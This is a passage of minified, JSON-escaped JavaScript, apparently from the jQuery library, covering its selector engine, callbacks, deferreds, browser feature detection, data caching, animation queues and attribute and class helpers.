n=t.createElement(\"input\");n.setAttribute(\"type\",\"hidden\"),e.appendChild(n).setAttribute(\"t\",\"\"),e.querySelectorAll(\"[t^='']\").length\u0026\u0026d.push(\"[*^$]=\"+M+\"*(?:''|\\\"\\\")\"),e.querySelectorAll(\":enabled\").length||d.push(\":enabled\",\":disabled\"),e.querySelectorAll(\"*,:x\"),d.push(\",.*:\")})),(n.matchesSelector=Q.test(m=f.webkitMatchesSelector||f.mozMatchesSelector||f.oMatchesSelector||f.msMatchesSelector))\u0026\u0026ut(function(e){n.disconnectedMatch=m.call(e,\"div\"),m.call(e,\"[s!='']:x\"),g.push(\"!=\",I)}),d=d.length\u0026\u0026RegExp(d.join(\"|\")),g=g.length\u0026\u0026RegExp(g.join(\"|\")),y=Q.test(f.contains)||f.compareDocumentPosition?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t\u0026\u0026t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition\u0026\u002616\u0026e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},S=f.compareDocumentPosition?function(e,r){if(e===r)return E=!0,0;var i=r.compareDocumentPosition\u0026\u0026e.compareDocumentPosition\u0026\u0026e.compareDocumentPosition(r);return i?1\u0026i||!n.sortDetached\u0026\u0026r.compareDocumentPosition(e)===i?e===t||y(b,e)?-1:r===t||y(b,r)?1:l?P.call(l,e)-P.call(l,r):0:4\u0026i?-1:1:e.compareDocumentPosition?-1:1}:function(e,n){var r,i=0,o=e.parentNode,s=n.parentNode,a=[e],u=[n];if(e===n)return E=!0,0;if(!o||!s)return e===t?-1:n===t?1:o?-1:s?1:l?P.call(l,e)-P.call(l,n):0;if(o===s)return ct(e,n);r=e;while(r=r.parentNode)a.unshift(r);r=n;while(r=r.parentNode)u.unshift(r);while(a[i]===u[i])i++;return i?ct(a[i],u[i]):a[i]===b?-1:u[i]===b?1:0},t):p},ot.matches=function(e,t){return ot(e,null,null,t)},ot.matchesSelector=function(e,t){if((e.ownerDocument||e)!==p\u0026\u0026c(e),t=t.replace(Y,\"='$1']\"),!(!n.matchesSelector||!h||g\u0026\u0026g.test(t)||d\u0026\u0026d.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document\u0026\u002611!==e.document.nodeType)return r}catch(i){}return ot(t,p,null,[e]).length\u003e0},ot.contains=function(e,t){return(e.ownerDocument||e)!==p\u0026\u0026c(e),y(e,t)},ot.attr=function(e,t){(e.ownerDocument||e)!==p\u0026\u0026c(e);var r=i.attrHandle[t.toLowerCase()],o=r\u0026\u0026A.call(i.attrHandle,t.toLowerCase())?r(e,t,!h):undefined;return o===undefined?n.attributes||!h?e.getAttribute(t):(o=e.getAttributeNode(t))\u0026\u0026o.specified?o.value:null:o},ot.error=function(e){throw Error(\"Syntax error, unrecognized expression: \"+e)},ot.uniqueSort=function(e){var t,r=[],i=0,o=0;if(E=!n.detectDuplicates,l=!n.sortStable\u0026\u0026e.slice(0),e.sort(S),E){while(t=e[o++])t===e[o]\u0026\u0026(i=r.push(o));while(i--)e.splice(r[i],1)}return e},o=ot.getText=function(e){var t,n=\"\",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if(\"string\"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r];r++)n+=o(t);return n},i=ot.selectors={cacheLength:50,createPseudo:at,match:J,attrHandle:{},find:{},relative:{\"\u003e\":{dir:\"parentNode\",first:!0},\" \":{dir:\"parentNode\"},\"+\":{dir:\"previousSibling\",first:!0},\"~\":{dir:\"previousSibling\"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(nt,rt),e[3]=(e[4]||e[5]||\"\").replace(nt,rt),\"~=\"===e[2]\u0026\u0026(e[3]=\" \"+e[3]+\" \"),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),\"nth\"===e[1].slice(0,3)?(e[3]||ot.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*(\"even\"===e[3]||\"odd\"===e[3])),e[5]=+(e[7]+e[8]||\"odd\"===e[3])):e[3]\u0026\u0026ot.error(e[0]),e},PSEUDO:function(e){var t,n=!e[5]\u0026\u0026e[2];return J.CHILD.test(e[0])?null:(e[3]\u0026\u0026e[4]!==undefined?e[2]=e[4]:n\u0026\u0026V.test(n)\u0026\u0026(t=gt(n,!0))\u0026\u0026(t=n.indexOf(\")\",n.length-t)-n.length)\u0026\u0026(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(nt,rt).toLowerCase();return\"*\"===e?function(){return!0}:function(e){return e.nodeName\u0026\u0026e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=C[e+\" \"];return t||(t=RegExp(\"(^|\"+M+\")\"+e+\"(\"+M+\"|$)\"))\u0026\u0026C(e,function(e){return t.test(\"string\"==typeof e.className\u0026\u0026e.className||typeof e.getAttribute!==j\u0026\u0026e.getAttribute(\"class\")||\"\")})},ATTR:function(e,t,n){return function(r){var i=ot.attr(r,e);return null==i?\"!=\"===t:t?(i+=\"\",\"=\"===t?i===n:\"!=\"===t?i!==n:\"^=\"===t?n\u0026\u00260===i.indexOf(n):\"*=\"===t?n\u0026\u0026i.indexOf(n)\u003e-1:\"$=\"===t?n\u0026\u0026i.slice(-n.length)===n:\"~=\"===t?(\" \"+i+\" \").indexOf(n)\u003e-1:\"|=\"===t?i===n||i.slice(0,n.length+1)===n+\"-\":!1):!0}},CHILD:function(e,t,n,r,i){var o=\"nth\"!==e.slice(0,3),s=\"last\"!==e.slice(-4),a=\"of-type\"===t;return 1===r\u0026\u00260===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,p,f,h,d,g=o!==s?\"nextSibling\":\"previousSibling\",m=t.parentNode,y=a\u0026\u0026t.nodeName.toLowerCase(),x=!u\u0026\u0026!a;if(m){if(o){while(g){p=t;while(p=p[g])if(a?p.nodeName.toLowerCase()===y:1===p.nodeType)return!1;d=g=\"only\"===e\u0026\u0026!d\u0026\u0026\"nextSibling\"}return!0}if(d=[s?m.firstChild:m.lastChild],s\u0026\u0026x){c=m[v]||(m[v]={}),l=c[e]||[],h=l[0]===w\u0026\u0026l[1],f=l[0]===w\u0026\u0026l[2],p=h\u0026\u0026m.childNodes[h];while(p=++h\u0026\u0026p\u0026\u0026p[g]||(f=h=0)||d.pop())if(1===p.nodeType\u0026\u0026++f\u0026\u0026p===t){c[e]=[w,h,f];break}}else if(x\u0026\u0026(l=(t[v]||(t[v]={}))[e])\u0026\u0026l[0]===w)f=l[1];else while(p=++h\u0026\u0026p\u0026\u0026p[g]||(f=h=0)||d.pop())if((a?p.nodeName.toLowerCase()===y:1===p.nodeType)\u0026\u0026++f\u0026\u0026(x\u0026\u0026((p[v]||(p[v]={}))[e]=[w,f]),p===t))break;return f-=i,f===r||0===f%r\u0026\u0026f/r\u003e=0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||ot.error(\"unsupported pseudo: \"+e);return r[v]?r(t):r.length\u003e1?(n=[e,e,\"\",t],i.setFilters.hasOwnProperty(e.toLowerCase())?at(function(e,n){var i,o=r(e,t),s=o.length;while(s--)i=P.call(e,o[s]),e[i]=!(n[i]=o[s])}):function(e){return r(e,0,n)}):r}},pseudos:{not:at(function(e){var t=[],n=[],r=a(e.replace(z,\"$1\"));return r[v]?at(function(e,t,n,i){var o,s=r(e,null,i,[]),a=e.length;while(a--)(o=s[a])\u0026\u0026(e[a]=!(t[a]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),!n.pop()}}),has:at(function(e){return function(t){return ot(e,t).length\u003e0}}),contains:at(function(e){return function(t){return(t.textContent||t.innerText||o(t)).indexOf(e)\u003e-1}}),lang:at(function(e){return G.test(e||\"\")||ot.error(\"unsupported lang: \"+e),e=e.replace(nt,rt).toLowerCase(),function(t){var n;do if(n=h?t.lang:t.getAttribute(\"xml:lang\")||t.getAttribute(\"lang\"))return n=n.toLowerCase(),n===e||0===n.indexOf(e+\"-\");while((t=t.parentNode)\u0026\u00261===t.nodeType);return!1}}),target:function(t){var n=e.location\u0026\u0026e.location.hash;return n\u0026\u0026n.slice(1)===t.id},root:function(e){return e===f},focus:function(e){return e===p.activeElement\u0026\u0026(!p.hasFocus||p.hasFocus())\u0026\u0026!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return\"input\"===t\u0026\u0026!!e.checked||\"option\"===t\u0026\u0026!!e.selected},selected:function(e){return e.parentNode\u0026\u0026e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeName\u003e\"@\"||3===e.nodeType||4===e.nodeType)return!1;return!0},parent:function(e){return!i.pseudos.empty(e)},header:function(e){return et.test(e.nodeName)},input:function(e){return Z.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return\"input\"===t\u0026\u0026\"button\"===e.type||\"button\"===t},text:function(e){var t;return\"input\"===e.nodeName.toLowerCase()\u0026\u0026\"text\"===e.type\u0026\u0026(null==(t=e.getAttribute(\"type\"))||t.toLowerCase()===e.type)},first:ht(function(){return[0]}),last:ht(function(e,t){return[t-1]}),eq:ht(function(e,t,n){return[0\u003en?n+t:n]}),even:ht(function(e,t){var n=0;for(;t\u003en;n+=2)e.push(n);return e}),odd:ht(function(e,t){var n=1;for(;t\u003en;n+=2)e.push(n);return e}),lt:ht(function(e,t,n){var r=0\u003en?n+t:n;for(;--r\u003e=0;)e.push(r);return e}),gt:ht(function(e,t,n){var r=0\u003en?n+t:n;for(;t\u003e++r;)e.push(r);return e})}},i.pseudos.nth=i.pseudos.eq;for(t in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})i.pseudos[t]=pt(t);for(t in{submit:!0,reset:!0})i.pseudos[t]=ft(t);function dt(){}dt.prototype=i.filters=i.pseudos,i.setFilters=new dt;function gt(e,t){var n,r,o,s,a,u,l,c=k[e+\" \"];if(c)return t?0:c.slice(0);a=e,u=[],l=i.preFilter;while(a){(!n||(r=_.exec(a)))\u0026\u0026(r\u0026\u0026(a=a.slice(r[0].length)||a),u.push(o=[])),n=!1,(r=X.exec(a))\u0026\u0026(n=r.shift(),o.push({value:n,type:r[0].replace(z,\" \")}),a=a.slice(n.length));for(s in i.filter)!(r=J[s].exec(a))||l[s]\u0026\u0026!(r=l[s](r))||(n=r.shift(),o.push({value:n,type:s,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?ot.error(e):k(e,u).slice(0)}function mt(e){var t=0,n=e.length,r=\"\";for(;n\u003et;t++)r+=e[t].value;return r}function yt(e,t,n){var i=t.dir,o=n\u0026\u0026\"parentNode\"===i,s=T++;return t.first?function(t,n,r){while(t=t[i])if(1===t.nodeType||o)return e(t,n,r)}:function(t,n,a){var u,l,c,p=w+\" \"+s;if(a){while(t=t[i])if((1===t.nodeType||o)\u0026\u0026e(t,n,a))return!0}else while(t=t[i])if(1===t.nodeType||o)if(c=t[v]||(t[v]={}),(l=c[i])\u0026\u0026l[0]===p){if((u=l[1])===!0||u===r)return u===!0}else if(l=c[i]=[p],l[1]=e(t,n,a)||r,l[1]===!0)return!0}}function vt(e){return e.length\u003e1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function xt(e,t,n,r,i){var o,s=[],a=0,u=e.length,l=null!=t;for(;u\u003ea;a++)(o=e[a])\u0026\u0026(!n||n(o,r,i))\u0026\u0026(s.push(o),l\u0026\u0026t.push(a));return s}function bt(e,t,n,r,i,o){return r\u0026\u0026!r[v]\u0026\u0026(r=bt(r)),i\u0026\u0026!i[v]\u0026\u0026(i=bt(i,o)),at(function(o,s,a,u){var l,c,p,f=[],h=[],d=s.length,g=o||Ct(t||\"*\",a.nodeType?[a]:a,[]),m=!e||!o\u0026\u0026t?g:xt(g,f,e,a,u),y=n?i||(o?e:d||r)?[]:s:m;if(n\u0026\u0026n(m,y,a,u),r){l=xt(y,h),r(l,[],a,u),c=l.length;while(c--)(p=l[c])\u0026\u0026(y[h[c]]=!(m[h[c]]=p))}if(o){if(i||e){if(i){l=[],c=y.length;while(c--)(p=y[c])\u0026\u0026l.push(m[c]=p);i(null,y=[],l,u)}c=y.length;while(c--)(p=y[c])\u0026\u0026(l=i?P.call(o,p):f[c])\u003e-1\u0026\u0026(o[l]=!(s[l]=p))}}else y=xt(y===s?y.splice(d,y.length):y),i?i(null,s,y,u):O.apply(s,y)})}function wt(e){var t,n,r,o=e.length,s=i.relative[e[0].type],a=s||i.relative[\" \"],l=s?1:0,c=yt(function(e){return e===t},a,!0),p=yt(function(e){return P.call(t,e)\u003e-1},a,!0),f=[function(e,n,r){return!s\u0026\u0026(r||n!==u)||((t=n).nodeType?c(e,n,r):p(e,n,r))}];for(;o\u003el;l++)if(n=i.relative[e[l].type])f=[yt(vt(f),n)];else{if(n=i.filter[e[l].type].apply(null,e[l].matches),n[v]){for(r=++l;o\u003er;r++)if(i.relative[e[r].type])break;return bt(l\u003e1\u0026\u0026vt(f),l\u003e1\u0026\u0026mt(e.slice(0,l-1).concat({value:\" \"===e[l-2].type?\"*\":\"\"})).replace(z,\"$1\"),n,r\u003el\u0026\u0026wt(e.slice(l,r)),o\u003er\u0026\u0026wt(e=e.slice(r)),o\u003er\u0026\u0026mt(e))}f.push(n)}return vt(f)}function Tt(e,t){var n=0,o=t.length\u003e0,s=e.length\u003e0,a=function(a,l,c,f,h){var d,g,m,y=[],v=0,x=\"0\",b=a\u0026\u0026[],T=null!=h,C=u,k=a||s\u0026\u0026i.find.TAG(\"*\",h\u0026\u0026l.parentNode||l),N=w+=null==C?1:Math.random()||.1;for(T\u0026\u0026(u=l!==p\u0026\u0026l,r=n);null!=(d=k[x]);x++){if(s\u0026\u0026d){g=0;while(m=e[g++])if(m(d,l,c)){f.push(d);break}T\u0026\u0026(w=N,r=++n)}o\u0026\u0026((d=!m\u0026\u0026d)\u0026\u0026v--,a\u0026\u0026b.push(d))}if(v+=x,o\u0026\u0026x!==v){g=0;while(m=t[g++])m(b,y,l,c);if(a){if(v\u003e0)while(x--)b[x]||y[x]||(y[x]=q.call(f));y=xt(y)}O.apply(f,y),T\u0026\u0026!a\u0026\u0026y.length\u003e0\u0026\u0026v+t.length\u003e1\u0026\u0026ot.uniqueSort(f)}return T\u0026\u0026(w=N,u=C),b};return o?at(a):a}a=ot.compile=function(e,t){var n,r=[],i=[],o=N[e+\" \"];if(!o){t||(t=gt(e)),n=t.length;while(n--)o=wt(t[n]),o[v]?r.push(o):i.push(o);o=N(e,Tt(i,r))}return o};function Ct(e,t,n){var r=0,i=t.length;for(;i\u003er;r++)ot(e,t[r],n);return n}function kt(e,t,r,o){var s,u,l,c,p,f=gt(e);if(!o\u0026\u00261===f.length){if(u=f[0]=f[0].slice(0),u.length\u003e2\u0026\u0026\"ID\"===(l=u[0]).type\u0026\u0026n.getById\u0026\u00269===t.nodeType\u0026\u0026h\u0026\u0026i.relative[u[1].type]){if(t=(i.find.ID(l.matches[0].replace(nt,rt),t)||[])[0],!t)return r;e=e.slice(u.shift().value.length)}s=J.needsContext.test(e)?0:u.length;while(s--){if(l=u[s],i.relative[c=l.type])break;if((p=i.find[c])\u0026\u0026(o=p(l.matches[0].replace(nt,rt),U.test(u[0].type)\u0026\u0026t.parentNode||t))){if(u.splice(s,1),e=o.length\u0026\u0026mt(u),!e)return O.apply(r,o),r;break}}}return a(e,f)(o,t,!h,r,U.test(e)),r}n.sortStable=v.split(\"\").sort(S).join(\"\")===v,n.detectDuplicates=E,c(),n.sortDetached=ut(function(e){return 1\u0026e.compareDocumentPosition(p.createElement(\"div\"))}),ut(function(e){return e.innerHTML=\"\u003ca href='#'\u003e\u003c/a\u003e\",\"#\"===e.firstChild.getAttribute(\"href\")})||lt(\"type|href|height|width\",function(e,t,n){return n?undefined:e.getAttribute(t,\"type\"===t.toLowerCase()?1:2)}),n.attributes\u0026\u0026ut(function(e){return e.innerHTML=\"\u003cinput/\u003e\",e.firstChild.setAttribute(\"value\",\"\"),\"\"===e.firstChild.getAttribute(\"value\")})||lt(\"value\",function(e,t,n){return n||\"input\"!==e.nodeName.toLowerCase()?undefined:e.defaultValue}),ut(function(e){return null==e.getAttribute(\"disabled\")})||lt(R,function(e,t,n){var r;return n?undefined:(r=e.getAttributeNode(t))\u0026\u0026r.specified?r.value:e[t]===!0?t.toLowerCase():null}),x.find=ot,x.expr=ot.selectors,x.expr[\":\"]=x.expr.pseudos,x.unique=ot.uniqueSort,x.text=ot.getText,x.isXMLDoc=ot.isXML,x.contains=ot.contains}(e);var D={};function A(e){var t=D[e]={};return x.each(e.match(w)||[],function(e,n){t[n]=!0}),t}x.Callbacks=function(e){e=\"string\"==typeof e?D[e]||A(e):x.extend({},e);var t,n,r,i,o,s,a=[],u=!e.once\u0026\u0026[],l=function(p){for(t=e.memory\u0026\u0026p,n=!0,s=i||0,i=0,o=a.length,r=!0;a\u0026\u0026o\u003es;s++)if(a[s].apply(p[0],p[1])===!1\u0026\u0026e.stopOnFalse){t=!1;break}r=!1,a\u0026\u0026(u?u.length\u0026\u0026l(u.shift()):t?a=[]:c.disable())},c={add:function(){if(a){var n=a.length;(function s(t){x.each(t,function(t,n){var r=x.type(n);\"function\"===r?e.unique\u0026\u0026c.has(n)||a.push(n):n\u0026\u0026n.length\u0026\u0026\"string\"!==r\u0026\u0026s(n)})})(arguments),r?o=a.length:t\u0026\u0026(i=n,l(t))}return this},remove:function(){return a\u0026\u0026x.each(arguments,function(e,t){var n;while((n=x.inArray(t,a,n))\u003e-1)a.splice(n,1),r\u0026\u0026(o\u003e=n\u0026\u0026o--,s\u003e=n\u0026\u0026s--)}),this},has:function(e){return e?x.inArray(e,a)\u003e-1:!(!a||!a.length)},empty:function(){return a=[],o=0,this},disable:function(){return a=u=t=undefined,this},disabled:function(){return!a},lock:function(){return u=undefined,t||c.disable(),this},locked:function(){return!u},fireWith:function(e,t){return!a||n\u0026\u0026!u||(t=t||[],t=[e,t.slice?t.slice():t],r?u.push(t):l(t)),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!n}};return c},x.extend({Deferred:function(e){var t=[[\"resolve\",\"done\",x.Callbacks(\"once memory\"),\"resolved\"],[\"reject\",\"fail\",x.Callbacks(\"once memory\"),\"rejected\"],[\"notify\",\"progress\",x.Callbacks(\"memory\")]],n=\"pending\",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return x.Deferred(function(n){x.each(t,function(t,o){var s=o[0],a=x.isFunction(e[t])\u0026\u0026e[t];i[o[1]](function(){var e=a\u0026\u0026a.apply(this,arguments);e\u0026\u0026x.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[s+\"With\"](this===r?n.promise():this,a?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?x.extend(e,r):r}},i={};return r.pipe=r.then,x.each(t,function(e,o){var s=o[2],a=o[3];r[o[1]]=s.add,a\u0026\u0026s.add(function(){n=a},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+\"With\"](this===i?r:this,arguments),this},i[o[0]+\"With\"]=s.fireWith}),r.promise(i),e\u0026\u0026e.call(i,i),i},when:function(e){var t=0,n=d.call(arguments),r=n.length,i=1!==r||e\u0026\u0026x.isFunction(e.promise)?r:0,o=1===i?e:x.Deferred(),s=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length\u003e1?d.call(arguments):r,n===a?o.notifyWith(t,n):--i||o.resolveWith(t,n)}},a,u,l;if(r\u003e1)for(a=Array(r),u=Array(r),l=Array(r);r\u003et;t++)n[t]\u0026\u0026x.isFunction(n[t].promise)?n[t].promise().done(s(t,l,n)).fail(o.reject).progress(s(t,u,a)):--i;return i||o.resolveWith(l,n),o.promise()}}),x.support=function(t){var n=o.createElement(\"input\"),r=o.createDocumentFragment(),i=o.createElement(\"div\"),s=o.createElement(\"select\"),a=s.appendChild(o.createElement(\"option\"));return n.type?(n.type=\"checkbox\",t.checkOn=\"\"!==n.value,t.optSelected=a.selected,t.reliableMarginRight=!0,t.boxSizingReliable=!0,t.pixelPosition=!1,n.checked=!0,t.noCloneChecked=n.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!a.disabled,n=o.createElement(\"input\"),n.value=\"t\",n.type=\"radio\",t.radioValue=\"t\"===n.value,n.setAttribute(\"checked\",\"t\"),n.setAttribute(\"name\",\"t\"),r.appendChild(n),t.checkClone=r.cloneNode(!0).cloneNode(!0).lastChild.checked,t.focusinBubbles=\"onfocusin\"in e,i.style.backgroundClip=\"content-box\",i.cloneNode(!0).style.backgroundClip=\"\",t.clearCloneStyle=\"content-box\"===i.style.backgroundClip,x(function(){var n,r,s=\"padding:0;margin:0;border:0;display:block;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box\",a=o.getElementsByTagName(\"body\")[0];a\u0026\u0026(n=o.createElement(\"div\"),n.style.cssText=\"border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px\",a.appendChild(n).appendChild(i),i.innerHTML=\"\",i.style.cssText=\"-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%\",x.swap(a,null!=a.style.zoom?{zoom:1}:{},function(){t.boxSizing=4===i.offsetWidth}),e.getComputedStyle\u0026\u0026(t.pixelPosition=\"1%\"!==(e.getComputedStyle(i,null)||{}).top,t.boxSizingReliable=\"4px\"===(e.getComputedStyle(i,null)||{width:\"4px\"}).width,r=i.appendChild(o.createElement(\"div\")),r.style.cssText=i.style.cssText=s,r.style.marginRight=r.style.width=\"0\",i.style.width=\"1px\",t.reliableMarginRight=!parseFloat((e.getComputedStyle(r,null)||{}).marginRight)),a.removeChild(n))}),t):t}({});var L,q,H=/(?:\\{[\\s\\S]*\\}|\\[[\\s\\S]*\\])$/,O=/([A-Z])/g;function F(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=x.expando+Math.random()}F.uid=1,F.accepts=function(e){return e.nodeType?1===e.nodeType||9===e.nodeType:!0},F.prototype={key:function(e){if(!F.accepts(e))return 0;var t={},n=e[this.expando];if(!n){n=F.uid++;try{t[this.expando]={value:n},Object.defineProperties(e,t)}catch(r){t[this.expando]=n,x.extend(e,t)}}return this.cache[n]||(this.cache[n]={}),n},set:function(e,t,n){var r,i=this.key(e),o=this.cache[i];if(\"string\"==typeof t)o[t]=n;else if(x.isEmptyObject(o))x.extend(this.cache[i],t);else for(r in t)o[r]=t[r];return o},get:function(e,t){var n=this.cache[this.key(e)];return t===undefined?n:n[t]},access:function(e,t,n){var r;return t===undefined||t\u0026\u0026\"string\"==typeof t\u0026\u0026n===undefined?(r=this.get(e,t),r!==undefined?r:this.get(e,x.camelCase(t))):(this.set(e,t,n),n!==undefined?n:t)},remove:function(e,t){var n,r,i,o=this.key(e),s=this.cache[o];if(t===undefined)this.cache[o]={};else{x.isArray(t)?r=t.concat(t.map(x.camelCase)):(i=x.camelCase(t),t in s?r=[t,i]:(r=i,r=r in s?[r]:r.match(w)||[])),n=r.length;while(n--)delete s[r[n]]}},hasData:function(e){return!x.isEmptyObject(this.cache[e[this.expando]]||{})},discard:function(e){e[this.expando]\u0026\u0026delete this.cache[e[this.expando]]}},L=new F,q=new F,x.extend({acceptData:F.accepts,hasData:function(e){return L.hasData(e)||q.hasData(e)},data:function(e,t,n){return L.access(e,t,n)},removeData:function(e,t){L.remove(e,t)},_data:function(e,t,n){return q.access(e,t,n)},_removeData:function(e,t){q.remove(e,t)}}),x.fn.extend({data:function(e,t){var n,r,i=this[0],o=0,s=null;if(e===undefined){if(this.length\u0026\u0026(s=L.get(i),1===i.nodeType\u0026\u0026!q.get(i,\"hasDataAttrs\"))){for(n=i.attributes;n.length\u003eo;o++)r=n[o].name,0===r.indexOf(\"data-\")\u0026\u0026(r=x.camelCase(r.slice(5)),P(i,r,s[r]));q.set(i,\"hasDataAttrs\",!0)}return s}return\"object\"==typeof e?this.each(function(){L.set(this,e)}):x.access(this,function(t){var n,r=x.camelCase(e);if(i\u0026\u0026t===undefined){if(n=L.get(i,e),n!==undefined)return n;if(n=L.get(i,r),n!==undefined)return n;if(n=P(i,r,undefined),n!==undefined)return n}else this.each(function(){var n=L.get(this,r);L.set(this,r,t),-1!==e.indexOf(\"-\")\u0026\u0026n!==undefined\u0026\u0026L.set(this,e,t)})},null,t,arguments.length\u003e1,null,!0)},removeData:function(e){return this.each(function(){L.remove(this,e)})}});function P(e,t,n){var r;if(n===undefined\u0026\u00261===e.nodeType)if(r=\"data-\"+t.replace(O,\"-$1\").toLowerCase(),n=e.getAttribute(r),\"string\"==typeof n){try{n=\"true\"===n?!0:\"false\"===n?!1:\"null\"===n?null:+n+\"\"===n?+n:H.test(n)?JSON.parse(n):n}catch(i){}L.set(e,t,n)}else n=undefined;return n}x.extend({queue:function(e,t,n){var r;return e?(t=(t||\"fx\")+\"queue\",r=q.get(e,t),n\u0026\u0026(!r||x.isArray(n)?r=q.access(e,t,x.makeArray(n)):r.push(n)),r||[]):undefined},dequeue:function(e,t){t=t||\"fx\";var n=x.queue(e,t),r=n.length,i=n.shift(),o=x._queueHooks(e,t),s=function(){x.dequeue(e,t)\r\n};\"inprogress\"===i\u0026\u0026(i=n.shift(),r--),i\u0026\u0026(\"fx\"===t\u0026\u0026n.unshift(\"inprogress\"),delete o.stop,i.call(e,s,o)),!r\u0026\u0026o\u0026\u0026o.empty.fire()},_queueHooks:function(e,t){var n=t+\"queueHooks\";return q.get(e,n)||q.access(e,n,{empty:x.Callbacks(\"once memory\").add(function(){q.remove(e,[t+\"queue\",n])})})}}),x.fn.extend({queue:function(e,t){var n=2;return\"string\"!=typeof e\u0026\u0026(t=e,e=\"fx\",n--),n\u003earguments.length?x.queue(this[0],e):t===undefined?this:this.each(function(){var n=x.queue(this,e,t);x._queueHooks(this,e),\"fx\"===e\u0026\u0026\"inprogress\"!==n[0]\u0026\u0026x.dequeue(this,e)})},dequeue:function(e){return this.each(function(){x.dequeue(this,e)})},delay:function(e,t){return e=x.fx?x.fx.speeds[e]||e:e,t=t||\"fx\",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||\"fx\",[])},promise:function(e,t){var n,r=1,i=x.Deferred(),o=this,s=this.length,a=function(){--r||i.resolveWith(o,[o])};\"string\"!=typeof e\u0026\u0026(t=e,e=undefined),e=e||\"fx\";while(s--)n=q.get(o[s],e+\"queueHooks\"),n\u0026\u0026n.empty\u0026\u0026(r++,n.empty.add(a));return a(),i.promise(t)}});var R,M,W=/[\\t\\r\\n\\f]/g,$=/\\r/g,B=/^(?:input|select|textarea|button)$/i;x.fn.extend({attr:function(e,t){return x.access(this,x.attr,e,t,arguments.length\u003e1)},removeAttr:function(e){return this.each(function(){x.removeAttr(this,e)})},prop:function(e,t){return x.access(this,x.prop,e,t,arguments.length\u003e1)},removeProp:function(e){return this.each(function(){delete this[x.propFix[e]||e]})},addClass:function(e){var t,n,r,i,o,s=0,a=this.length,u=\"string\"==typeof e\u0026\u0026e;if(x.isFunction(e))return this.each(function(t){x(this).addClass(e.call(this,t,this.className))});if(u)for(t=(e||\"\").match(w)||[];a\u003es;s++)if(n=this[s],r=1===n.nodeType\u0026\u0026(n.className?(\" \"+n.className+\" \").replace(W,\" \"):\" \")){o=0;while(i=t[o++])0\u003er.indexOf(\" \"+i+\" \")\u0026\u0026(r+=i+\" \");n.className=x.trim(r)}return this},removeClass:function(e){var t,n,r,i,o,s=0,a=this.length,u=0===arguments.length||\"string\"==typeof e\u0026\u0026e;if(x.isFunction(e))return this.each(function(t){x(this).removeClass(e.call(this,t,this.className))});if(u)for(t=(e||\"\").match(w)||[];a\u003es;s++)if(n=this[s],r=1===n.nodeType\u0026\u0026(n.className?(\" \"+n.className+\" \").replace(W,\" \"):\"\")){o=0;while(i=t[o++])while(r.indexOf(\" \"+i+\" \")\u003e=0)r=r.replace(\" \"+i+\" \",\" \");n.className=e?x.trim(r):\"\"}return this},toggleClass:function(e,t){var n=typeof e;return\"boolean\"==typeof t\u0026\u0026\"string\"===n?t?this.addClass(e):this.removeClass(e):x.isFunction(e)?this.each(function(n){x(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if(\"string\"===n){var t,i=0,o=x(this),s=e.match(w)||[];while(t=s[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else(n===r||\"boolean\"===n)\u0026\u0026(this.className\u0026\u0026q.set(this,\"__className__\",this.className),this.className=this.className||e===!1?\"\":q.get(this,\"__className__\")||\"\")})},hasClass:function(e){var t=\" \"+e+\" \",n=0,r=this.length;for(;r\u003en;n++)if(1===this[n].nodeType\u0026\u0026(\" \"+this[n].className+\" \").replace(W,\" \").indexOf(t)\u003e=0)return!0;return!1},val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=x.isFunction(e),this.each(function(n){var i;1===this.nodeType\u0026\u0026(i=r?e.call(this,n,x(this).val()):e,null==i?i=\"\":\"number\"==typeof i?i+=\"\":x.isArray(i)\u0026\u0026(i=x.map(i,function(e){return null==e?\"\":e+\"\"})),t=x.valHooks[this.type]||x.valHooks[this.nodeName.toLowerCase()],t\u0026\u0026\"set\"in t\u0026\u0026t.set(this,i,\"value\")!==undefined||(this.value=i))});if(i)return 